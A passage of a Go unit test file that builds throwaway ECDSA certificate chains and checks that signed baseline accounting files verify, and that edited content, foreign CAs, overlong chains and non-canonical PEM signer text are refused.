// post-dated the accounting and every host-side test failed with
|
||||
// cert_not_valid, which was the fixture's fault, not the verifier's.
|
||||
NotBefore: fixtureNotBefore, NotAfter: fixtureNotBefore.Add(10 * 365 * 24 * time.Hour),
|
||||
IsCA: true, BasicConstraintsValid: true,
|
||||
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
|
||||
}
|
||||
caDER, err := x509.CreateCertificate(rand.Reader, caTpl, caTpl, &caKey.PublicKey, caKey)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
caCert, _ := x509.ParseCertificate(caDER)
|
||||
|
||||
leafKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
leafTpl := &x509.Certificate{
|
||||
SerialNumber: big.NewInt(2), Subject: pkix.Name{CommonName: "operator"},
|
||||
NotBefore: fixtureNotBefore, NotAfter: fixtureNotBefore.Add(10 * 365 * 24 * time.Hour),
|
||||
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
|
||||
URIs: uris,
|
||||
}
|
||||
leafDER, err := x509.CreateCertificate(rand.Reader, leafTpl, caCert, &leafKey.PublicKey, caKey)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
keyDER, _ := x509.MarshalECPrivateKey(leafKey)
|
||||
return signingFixture{
|
||||
caPEM: string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER})),
|
||||
leafPEM: string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: leafDER})),
|
||||
keyPEM: string(pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})),
|
||||
fp: fp,
|
||||
}
|
||||
}
|
||||
|
||||
// newChainedSigningFixture is the shape a real pairing holds: the pairing's CA
|
||||
// is the ROOT, the operator certificate is issued by an INTERMEDIATE, and
|
||||
// operator_cert carries the leaf followed by that intermediate — twice, as the
|
||||
// bridge returns it on the fleet. newSigningFixture issues the leaf straight
|
||||
// from the CA, which is why every test passed while every real accounting was
|
||||
// refused as "not issued by this pairing's CA".
|
||||
func newChainedSigningFixture(t *testing.T, fp string) signingFixture {
|
||||
t.Helper()
|
||||
uris, err := fpURIs(fp, true)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return newChainedSigningFixtureWithURIs(t, fp, uris)
|
||||
}
|
||||
|
||||
// newChainedSigningFixtureWithURIs is newChainedSigningFixture with the leaf's
|
||||
// URI SANs chosen by the caller.
|
||||
func newChainedSigningFixtureWithURIs(t *testing.T, fp string, uris []*url.URL) signingFixture {
|
||||
t.Helper()
|
||||
key := func() *ecdsa.PrivateKey {
|
||||
k, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return k
|
||||
}
|
||||
issue := func(tpl, parent *x509.Certificate, pub *ecdsa.PublicKey, signer *ecdsa.PrivateKey) (*x509.Certificate, []byte) {
|
||||
tpl.NotBefore, tpl.NotAfter = fixtureNotBefore, fixtureNotBefore.Add(10*365*24*time.Hour)
|
||||
if parent == nil {
|
||||
parent = tpl
|
||||
}
|
||||
der, err := x509.CreateCertificate(rand.Reader, tpl, parent, pub, signer)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c, _ := x509.ParseCertificate(der)
|
||||
return c, der
|
||||
}
|
||||
rootKey, interKey, leafKey := key(), key(), key()
|
||||
root, rootDER := issue(&x509.Certificate{SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "test Root CA"},
|
||||
IsCA: true, BasicConstraintsValid: true, KeyUsage: x509.KeyUsageCertSign}, nil, &rootKey.PublicKey, rootKey)
|
||||
inter, interDER := issue(&x509.Certificate{SerialNumber: big.NewInt(2), Subject: pkix.Name{CommonName: "test Entity Intermediate"},
|
||||
IsCA: true, BasicConstraintsValid: true, MaxPathLenZero: true, KeyUsage: x509.KeyUsageCertSign}, root, &interKey.PublicKey, rootKey)
|
||||
_, leafDER := issue(&x509.Certificate{SerialNumber: big.NewInt(3), Subject: pkix.Name{CommonName: "operator"},
|
||||
KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
|
||||
BasicConstraintsValid: true, URIs: uris}, inter, &leafKey.PublicKey, interKey)
|
||||
enc := func(der []byte) string {
|
||||
return string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der}))
|
||||
}
|
||||
keyDER, _ := x509.MarshalECPrivateKey(leafKey)
|
||||
return signingFixture{
|
||||
caPEM: enc(rootDER),
|
||||
leafPEM: enc(leafDER) + enc(interDER) + enc(interDER),
|
||||
keyPEM: string(pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})),
|
||||
fp: fp,
|
||||
}
|
||||
}
|
||||
|
||||
// chainFixture issues root -> interCA[0] -> interCA[1] ... -> leaf, where each
|
||||
// entry says whether that intermediate is a CA. The chain PEM is the leaf
|
||||
// followed by the intermediates, nearest first. For the shapes the fleet never
|
||||
// sends and both verifiers must refuse the same way.
|
||||
func chainFixture(t *testing.T, fp string, interCA []bool) signingFixture {
|
||||
t.Helper()
|
||||
key := func() *ecdsa.PrivateKey {
|
||||
k, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return k
|
||||
}
|
||||
serial := int64(1)
|
||||
issue := func(tpl, parent *x509.Certificate, pub *ecdsa.PublicKey, signer *ecdsa.PrivateKey) (*x509.Certificate, []byte) {
|
||||
tpl.SerialNumber = big.NewInt(serial)
|
||||
serial++
|
||||
tpl.NotBefore, tpl.NotAfter = fixtureNotBefore, fixtureNotBefore.Add(10*365*24*time.Hour)
|
||||
tpl.BasicConstraintsValid = true
|
||||
if parent == nil {
|
||||
parent = tpl
|
||||
}
|
||||
der, err := x509.CreateCertificate(rand.Reader, tpl, parent, pub, signer)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c, _ := x509.ParseCertificate(der)
|
||||
return c, der
|
||||
}
|
||||
enc := func(der []byte) string {
|
||||
return string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der}))
|
||||
}
|
||||
rootKey := key()
|
||||
parent, rootDER := issue(&x509.Certificate{Subject: pkix.Name{CommonName: "chain root"},
|
||||
IsCA: true, KeyUsage: x509.KeyUsageCertSign}, nil, &rootKey.PublicKey, rootKey)
|
||||
parentKey := rootKey
|
||||
var inters []string
|
||||
for i, isCA := range interCA {
|
||||
k := key()
|
||||
tpl := &x509.Certificate{Subject: pkix.Name{CommonName: fmt.Sprintf("chain intermediate %d", i)}, IsCA: isCA}
|
||||
if isCA {
|
||||
tpl.KeyUsage = x509.KeyUsageCertSign
|
||||
}
|
||||
c, der := issue(tpl, parent, &k.PublicKey, parentKey)
|
||||
inters = append([]string{enc(der)}, inters...)
|
||||
parent, parentKey = c, k
|
||||
}
|
||||
leafKey := key()
|
||||
fpURIList, _ := fpURIs(fp, true)
|
||||
_, leafDER := issue(&x509.Certificate{Subject: pkix.Name{CommonName: "operator"},
|
||||
KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
|
||||
URIs: fpURIList}, parent, &leafKey.PublicKey, parentKey)
|
||||
keyDER, _ := x509.MarshalECPrivateKey(leafKey)
|
||||
return signingFixture{
|
||||
caPEM: enc(rootDER),
|
||||
leafPEM: enc(leafDER) + strings.Join(inters, ""),
|
||||
keyPEM: string(pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})),
|
||||
fp: fp,
|
||||
}
|
||||
}
|
||||
|
||||
// writeSigningPairing installs one active pairing holding the fixture's key,
|
||||
// cert, CA and fingerprint — what `pair` writes at redeem.
|
||||
func writeSigningPairing(t *testing.T, host string, fx signingFixture) {
|
||||
t.Helper()
|
||||
pd, err := pairingsDir()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfg := Config{HostName: host, OperatorKey: fx.keyPEM, OperatorCert: fx.leafPEM,
|
||||
CACert: fx.caPEM, Fingerprint: fx.fp, State: pairingActive}
|
||||
b, _ := json.MarshalIndent(cfg, "", " ")
|
||||
if err := os.WriteFile(filepath.Join(pd, host+".json"), b, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func sampleBaseline() baselineFile {
|
||||
return baselineFile{
|
||||
Version: baselineVersion, TakenAt: "2026-09-19T10:00:00Z",
|
||||
Coverage: "processes=all,schedulers=all",
|
||||
Entries: []baselineEntry{
|
||||
{FP: "aaa", Kind: "process", Exe: "/usr/sbin/sshd", ExeDigest: "sha256:aaa",
|
||||
User: "root", Unit: "ssh.service", ArgvShape: "sshd -D"},
|
||||
// A path with characters both encoders must agree on: a quote, a
|
||||
// backslash, a non-ASCII rune, and the HTML characters Go escapes by
|
||||
// default and this scheme turns off.
|
||||
{FP: "bbb", Kind: "process", Exe: `/opt/naïve <app> & "co"\bin`, ExeDigest: "sha256:bbb",
|
||||
User: "alice", ArgvShape: "app --serve", Endpoints: []string{"http://127.0.0.1:11434"}},
|
||||
},
|
||||
Unreadable: 3,
|
||||
}
|
||||
}
|
||||
|
||||
func TestASavedAccountingIsSignedAndVerifies(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, digestOK, err := baselineLoad()
|
||||
if err != nil || !digestOK {
|
||||
t.Fatalf("load: ok=%v err=%v", digestOK, err)
|
||||
}
|
||||
if f.Attestation == nil {
|
||||
t.Fatalf("the accounting was written unsigned: %q", f.UnsignedReason)
|
||||
}
|
||||
if f.Attestation.SignedBy != "one.host.privatae.ai" || f.Attestation.Alg != baselineSigAlg {
|
||||
t.Fatalf("attestation names %+v", f.Attestation)
|
||||
}
|
||||
ok, note := baselineVerify(f, fx.caPEM, fx.fp)
|
||||
if !ok {
|
||||
t.Fatalf("a freshly signed accounting did not verify: %s", note)
|
||||
}
|
||||
if n := baselineAttestationNote(f); n != "" {
|
||||
t.Fatalf("the on-disk check disagrees with the direct one: %q", n)
|
||||
}
|
||||
}
|
||||
|
||||
// The self-digest and the attestation answer two questions and must not be
|
||||
// coupled: signing must not change the digest, and the digest must not cover
|
||||
// the signature.
|
||||
func TestTheDigestDoesNotCoverTheAttestation(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
unsigned := sampleBaseline()
|
||||
d1, _ := baselineDigestOf(unsigned)
|
||||
if err := baselineSave(unsigned); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, ok, _ := baselineLoad()
|
||||
if !ok {
|
||||
t.Fatal("digest broke on save")
|
||||
}
|
||||
if f.Digest != d1 {
|
||||
t.Fatalf("signing changed the digest: %s -> %s", d1, f.Digest)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditedContentFailsTheSignatureAndNamesTheReason(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
b, _ := os.ReadFile(p)
|
||||
edited := strings.Replace(string(b), `"unreadable": 3`, `"unreadable": 0`, 1)
|
||||
if edited == string(b) {
|
||||
t.Fatal("the fixture edit did not apply, so this test proves nothing")
|
||||
}
|
||||
if err := os.WriteFile(p, []byte(edited), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, err := baselineLoad()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ok, note := baselineVerify(f, fx.caPEM, fx.fp)
|
||||
if ok {
|
||||
t.Fatal("an edited accounting verified")
|
||||
}
|
||||
if !strings.Contains(note, "content has changed") {
|
||||
t.Fatalf("the note must name a content change, got %q", note)
|
||||
}
|
||||
}
|
||||
|
||||
func TestACertificateFromAnotherCAIsRefused(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
other := newSigningFixture(t, "fp-one") // same fingerprint, different CA
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
ok, note := baselineVerify(f, other.caPEM, fx.fp)
|
||||
if ok || !strings.Contains(note, "not issued by") {
|
||||
t.Fatalf("a foreign CA must be refused by name: ok=%v note=%q", ok, note)
|
||||
}
|
||||
}
|
||||
|
||||
// THE FLEET'S SHAPE. A leaf issued by an intermediate, with the intermediate
|
||||
// carried after it, verifies against a pairing that holds only the root — and
|
||||
// the machine's own note, which is what rides the beat, is clean.
|
||||
func TestAnAccountingSignedUnderAnIntermediateVerifiesAgainstTheRoot(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newChainedSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
if ok, note := baselineVerify(f, fx.caPEM, fx.fp); !ok {
|
||||
t.Fatalf("an accounting signed under the pairing's intermediate was refused: %q", note)
|
||||
}
|
||||
if note := baselineAttestationNote(f); note != "" {
|
||||
t.Fatalf("the note the beat carries must be clean for the fleet's chain, got %q", note)
|
||||
}
|
||||
}
|
||||
|
||||
// Carrying an intermediate must not let a chain END somewhere else: the same
|
||||
// shape under a different root is still refused by name.
|
||||
func TestAnIntermediateFromAnotherRootIsRefused(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newChainedSigningFixture(t, "fp-one")
|
||||
other := newChainedSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
ok, note := baselineVerify(f, other.caPEM, fx.fp)
|
||||
if ok || !strings.Contains(note, "not issued by") {
|
||||
t.Fatalf("a chain ending at a foreign root must be refused by name: ok=%v note=%q", ok, note)
|
||||
}
|
||||
}
|
||||
|
||||
// verifyChainShape signs the sample under fx and judges it against fx's root.
|
||||
func verifyChainShape(t *testing.T, fx signingFixture, edit func(signerCert string) string) (bool, string) {
|
||||
t.Helper()
|
||||
isolateConfigDir(t)
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
raw, _ := os.ReadFile(p)
|
||||
if edit != nil {
|
||||
var doc map[string]any
|
||||
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
att := doc["attestation"].(map[string]any)
|
||||
att["signer_cert"] = edit(att["signer_cert"].(string))
|
||||
raw, _ = json.Marshal(doc)
|
||||
}
|
||||
return baselineVerifyBytes(raw, fx.caPEM, fx.fp)
|
||||
}
|
||||
|
||||
// The shape helper itself verifies at one CA intermediate, so every refusal
|
||||
// below is about the shape and not a fixture that refuses everything.
|
||||
func TestTheChainHelperVerifiesAtOneIntermediate(t *testing.T) {
|
||||
if ok, note := verifyChainShape(t, chainFixture(t, "fp-one", []bool{true}), nil); !ok {
|
||||
t.Fatalf("root -> CA intermediate -> leaf must verify: %q", note)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAChainThroughTwoIntermediatesIsRefused(t *testing.T) {
|
||||
ok, note := verifyChainShape(t, chainFixture(t, "fp-one", []bool{true, true}), nil)
|
||||
if ok || !strings.Contains(note, "longer than one intermediate") {
|
||||
t.Fatalf("the host accepts one intermediate at most, and so must the box: ok=%v note=%q", ok, note)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnIntermediateThatIsNotACAIsRefused(t *testing.T) {
|
||||
ok, note := verifyChainShape(t, chainFixture(t, "fp-one", []bool{false}), nil)
|
||||
if ok || !strings.Contains(note, "not issued by") {
|
||||
t.Fatalf("a CA:FALSE certificate cannot vouch for a leaf: ok=%v note=%q", ok, note)
|
||||
}
|
||||
}
|
||||
|
||||
// afterLeaf splits a signer text after the leaf's END line.
|
||||
func afterLeaf(s string) (string, string) {
|
||||
i := strings.Index(s, "-----END CERTIFICATE-----\n") + len("-----END CERTIFICATE-----\n")
|
||||
return s[:i], s[i:]
|
||||
}
|
||||
|
||||
// THE SIGNER TEXT MUST BE THE CANONICAL PEM OF ITS CERTIFICATES. Every shape
|
||||
// here was, at some point, read one way by pem.Decode and another by the
|
||||
// host's parser — some accepted on one side only. Each is refused on both.
|
||||
// The same shapes are in the host's suite.
|
||||
func TestANonCanonicalSignerTextIsRefused(t *testing.T) {
|
||||
const blockKey = "-----BEGIN EC PRIVATE KEY-----\nAAAA\n-----END EC PRIVATE KEY-----\n"
|
||||
for name, edit := range map[string]func(string) string{
|
||||
"leading text": func(s string) string { return "operator certificate:\n" + s },
|
||||
"leading space": func(s string) string { return " " + s },
|
||||
"key block first": func(s string) string { return blockKey + s },
|
||||
"key block inside": func(s string) string { h, t := afterLeaf(s); return h + blockKey + t },
|
||||
"other label": func(s string) string {
|
||||
h, t := afterLeaf(s)
|
||||
return h + strings.ReplaceAll(t, "CERTIFICATE-----", "X509 CERTIFICATE-----")
|
||||
},
|
||||
"indented intermediate": func(s string) string { h, t := afterLeaf(s); return h + " " + t },
|
||||
"malformed trailing": func(s string) string { return s + "-----BEGIN CERTIFICATE-----\nAAAA\n-----END CERTIFICATE-----\n" },
|
||||
"undecodable decoy": func(s string) string { return "-----BEGIN CERTIFICATE-----\n!!!!\n-----END CERTIFICATE-----\n" + s },
|
||||
"header in leaf": func(s string) string {
|
||||
return strings.Replace(s, "-----BEGIN CERTIFICATE-----\n", "-----BEGIN CERTIFICATE-----\nProc-Type: 4,ENCRYPTED\n\n", 1)
|
||||
},
|
||||
"space after BEGIN": func(s string) string {
|
||||
return strings.Replace(s, "-----BEGIN CERTIFICATE-----\n", "-----BEGIN CERTIFICATE----- \n", 1)
|
||||
},
|
||||
"text after leaf END": func(s string) string { h, t := afterLeaf(s); return strings.TrimSuffix(h, "\n") + " trailing\n" + t },
|
||||
"CRLF": func(s string) string { return strings.ReplaceAll(s, "\n", "\r\n") },
|
||||
"no final newline": func(s string) string { return strings.TrimSuffix(s, "\n") },
|
||||
"re-wrapped base64": func(s string) string { return strings.Replace(s, "\n", "", 2) },
|
||||
"just a BEGIN line": func(string) string { return "-----BEGIN CERTIFICATE-----" },
|
||||
"empty": func(string) string { return "" },
|
||||
"extra final newline": func(s string) string { return s + "\n" },
|
||||
"text after last END": func(s string) string { return s + "trailing text\n" },
|
||||
} {
|
||||
ok, note := verifyChainShape(t, newChainedSigningFixture(t, "fp-one"), edit)
|
||||
if ok || !strings.Contains(note, "signer certificate on this accounting") {
|
||||
t.Fatalf("%s: a non-canonical signer text must be refused before it is read: ok=%v note=%q", name, ok, note)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The canonical form is exactly what the fleet sends, so the check refuses
|
||||
// nothing real: the chained fixture untouched verifies.
|
||||
func TestTheCanonicalSignerTextVerifies(t *testing.T) {
|
||||
if ok, note := verifyChainShape(t, newChainedSigningFixture(t, "fp-one"), func(s string) string { return s }); !ok {
|
||||
t.Fatalf("the canonical chain must verify: %q", note)
|
||||
}
|
||||
}
|
||||
|
||||
func TestACertificateForAnotherMachineIsRefused(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
ok, note := baselineVerify(f, fx.caPEM, "fp-two")
|
||||
if ok || !strings.Contains(note, "different machine") {
|
||||
t.Fatalf("a foreign fingerprint must be refused by name: ok=%v note=%q", ok, note)
|
||||
}
|
||||
}
|
||||
|
||||
// The anchor's key signs on an anchored box even when other hosts are paired.
|
||||
func TestTheAnchorPairingSignsOnAnAnchoredBox(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
anchorFx := newSigningFixture(t, "fp-one")
|
||||
memberFx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "anchor.host.privatae.ai", anchorFx)
|
||||
writeSigningPairing(t, "member.host.privatae.ai", memberFx)
|
||||
cfgs, _ := loadPairings()
|
||||
// Two hosts, no anchor: nobody speaks for the machine.
|
||||
if signer, why := baselineSignerPairing(cfgs); signer != nil || why != baselineUnsignedNoAnchor {
|
||||
t.Fatalf("two unanchored hosts must not pick a signer: %v %q", signer, why)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAMultiHostBoxWithNoAnchorWritesUnsignedAndSaysWhy(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
writeSigningPairing(t, "a.host.privatae.ai", newSigningFixture(t, "fp-one"))
|
||||
writeSigningPairing(t, "b.host.privatae.ai", newSigningFixture(t, "fp-one"))
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
if f.Attestation != nil {
|
||||
t.Fatal("an unanchored multi-host box signed with one host's key")
|
||||
}
|
||||
if f.UnsignedReason != baselineUnsignedNoAnchor {
|
||||
t.Fatalf("the reason must be recorded in the file: %q", f.UnsignedReason)
|
||||
}
|
||||
if n := baselineAttestationNote(f); n != "" {
|
||||
t.Fatalf("an honestly-unsigned file must not read as a problem: %q", n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestANoPairingBoxWritesUnsignedAndSaysWhy(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
if f.Attestation != nil || f.UnsignedReason != baselineUnsignedNoPairing {
|
||||
t.Fatalf("got attestation=%v reason=%q", f.Attestation, f.UnsignedReason)
|
||||
}
|
||||
}
|
||||
|
||||
// A key that is PRESENT but unreadable is an error, not a silent unsigned file:
|
||||
// a reader cannot tell "meant to be unsigned" from "failed to sign".
|
||||
func TestAnUnreadableOperatorKeyIsAnErrorNotAnUnsignedFile(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
fx.keyPEM = "-----BEGIN EC PRIVATE KEY-----\nnot a key\n-----END EC PRIVATE KEY-----\n"
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err == nil {
|
||||
t.Fatal("a corrupt operator key produced no error")
|
||||
}
|
||||
if _, err := os.Stat(func() string { p, _ := baselinePath(); return p }()); !os.IsNotExist(err) {
|
||||
t.Fatal("an accounting was written despite the signing failure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTheAccountingIsMirroredIntoTheStore(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
root, _ := storeDir()
|
||||
a, _ := os.ReadFile(p)
|
||||
b, err := os.ReadFile(filepath.Join(root, "baseline.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("no mirror in the store: %v", err)
|
||||
}
|
||||
if string(a) != string(b) {
|
||||
t.Fatal("the store copy differs from the state-dir copy")
|
||||
}
|
||||
fi, _ := os.Stat(filepath.Join(root, "baseline.json"))
|
||||
if fi.Mode().Perm() != 0o600 {
|
||||
t.Fatalf("mirror is %v, want 0600", fi.Mode().Perm())
|
||||
}
|
||||
}
|
||||
|
||||
// Canonical form is stable across a round trip through the file, and the two
|
||||
// derived keys never enter it.
|
||||
func TestCanonicalFormIsStableAndExcludesDerivedKeys(t *testing.T) {
|
||||
f := sampleBaseline()
|
||||
c1, err := baselineCanonical(f)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f.Digest = "anything"
|
||||
f.Attestation = &baselineAttestation{Signature: "x"}
|
||||
f.UnsignedReason = ""
|
||||
c2, _ := baselineCanonical(f)
|
||||
if string(c1) != string(c2) {
|
||||
t.Fatal("digest or attestation leaked into the canonical form")
|
||||
}
|
||||
if strings.Contains(string(c1), `"digest"`) || strings.Contains(string(c1), `"attestation"`) {
|
||||
t.Fatalf("derived keys present: %s", c1)
|
||||
}
|
||||
// TOP LEVEL ONLY. The host drops the two keys only at the top level; a
|
||||
// recursive delete here would diverge on any entry that ever carried a
|
||||
// `digest` field. Latent today (entries carry exe_digest), and a mutation
|
||||
// making the delete recursive survived — so it is pinned.
|
||||
nested, err := baselineCanonicalBytes([]byte(`{"entries":[{"digest":"keep","fp":"a"}],"digest":"drop","attestation":{"x":1}}`))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(nested) != `{"entries":[{"digest":"keep","fp":"a"}]}` {
|
||||
t.Fatalf("nested derived-key names must be preserved, got %s", nested)
|
||||
}
|
||||
// No HTML escaping (a raw `<`, never `\u003c`) and non-ASCII raw: what the
|
||||
// Python side produces. The first version of this assertion had the sign
|
||||
// backwards and failed on correct output.
|
||||
if strings.Contains(string(c1), `\u003c`) || !strings.Contains(string(c1), `<app>`) ||
|
||||
!strings.Contains(string(c1), "naïve") {
|
||||
t.Fatalf("canonical escaping differs from the host's: %s", c1)
|
||||
}
|
||||
}
|
||||
|
||||
// THE CROSS-LANGUAGE FIXTURE. Set BASELINE_FIXTURE_OUT=<dir> to write a signed
|
||||
// accounting, its CA and its fingerprint for the host-side verifier's own
|
||||
// test suite. Skipped otherwise.
|
||||
func TestWriteCrossLanguageFixture(t *testing.T) {
|
||||
out := os.Getenv("BASELINE_FIXTURE_OUT")
|
||||
if out == "" {
|
||||
t.Skip("set BASELINE_FIXTURE_OUT to write the fixture the host verifies")
|
||||
}
|
||||
isolateConfigDir(t)
|
||||
// The fleet's shape (root CA, intermediate-issued leaf), so the host's
|
||||
// verifier is proven against what machines actually send.
|
||||
// Only the name a Host with no platform reads: the fixture ships in that
|
||||
// Host's source, and its verifier must need no other name.
|
||||
u, err := url.Parse(hostFPSANPrefix + "fp-fixture-0001")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fx := newChainedSigningFixtureWithURIs(t, "fp-fixture-0001", []*url.URL{u})
|
||||
writeSigningPairing(t, "fixture.host.example.test", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
b, _ := os.ReadFile(p)
|
||||
if err := os.MkdirAll(out, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for name, body := range map[string]string{
|
||||
"baseline.json": string(b), "ca.pem": fx.caPEM, "fingerprint": fx.fp + "\n",
|
||||
} {
|
||||
if err := os.WriteFile(filepath.Join(out, name), []byte(body), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
t.Logf("fixture written to %s", out)
|
||||
}
|
||||
|
||||
// THE NOTE IS WHAT THE MACHINE READS. `observe:baseline:show` and the delta
|
||||
// pass both judge the accounting through baselineAttestationNote, not through
|
||||
// baselineVerify directly — so a mutation that made the note ignore a failed
|
||||
// verification survived every test above. This drives the note on an edited
|
||||
// file and, where the pass can run, checks the note rides the delta's notes and
|
||||
// so the beat.
|
||||
func TestAnEditedAccountingIsFlaggedByTheNoteAndRidesTheDelta(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
b, _ := os.ReadFile(p)
|
||||
edited := strings.Replace(string(b), `"unreadable": 3`, `"unreadable": 0`, 1)
|
||||
if edited == string(b) {
|
||||
t.Fatal("the fixture edit did not apply, so this test proves nothing")
|
||||
}
|
||||
// Keep the self-digest VALID so the only thing wrong is the signature —
|
||||
// otherwise the integrity note fires and the attestation note is untested.
|
||||
var f baselineFile
|
||||
if err := json.Unmarshal([]byte(edited), &f); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
d, _ := baselineDigestOf(f)
|
||||
f.Digest = d
|
||||
re, _ := json.MarshalIndent(f, "", " ")
|
||||
if err := os.WriteFile(p, re, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
loaded, digestOK, _ := baselineLoad()
|
||||
if !digestOK {
|
||||
t.Fatal("the fixture's digest is not valid, so the integrity note would mask this")
|
||||
}
|
||||
n := baselineAttestationNote(loaded)
|
||||
if !strings.Contains(n, "content has changed") {
|
||||
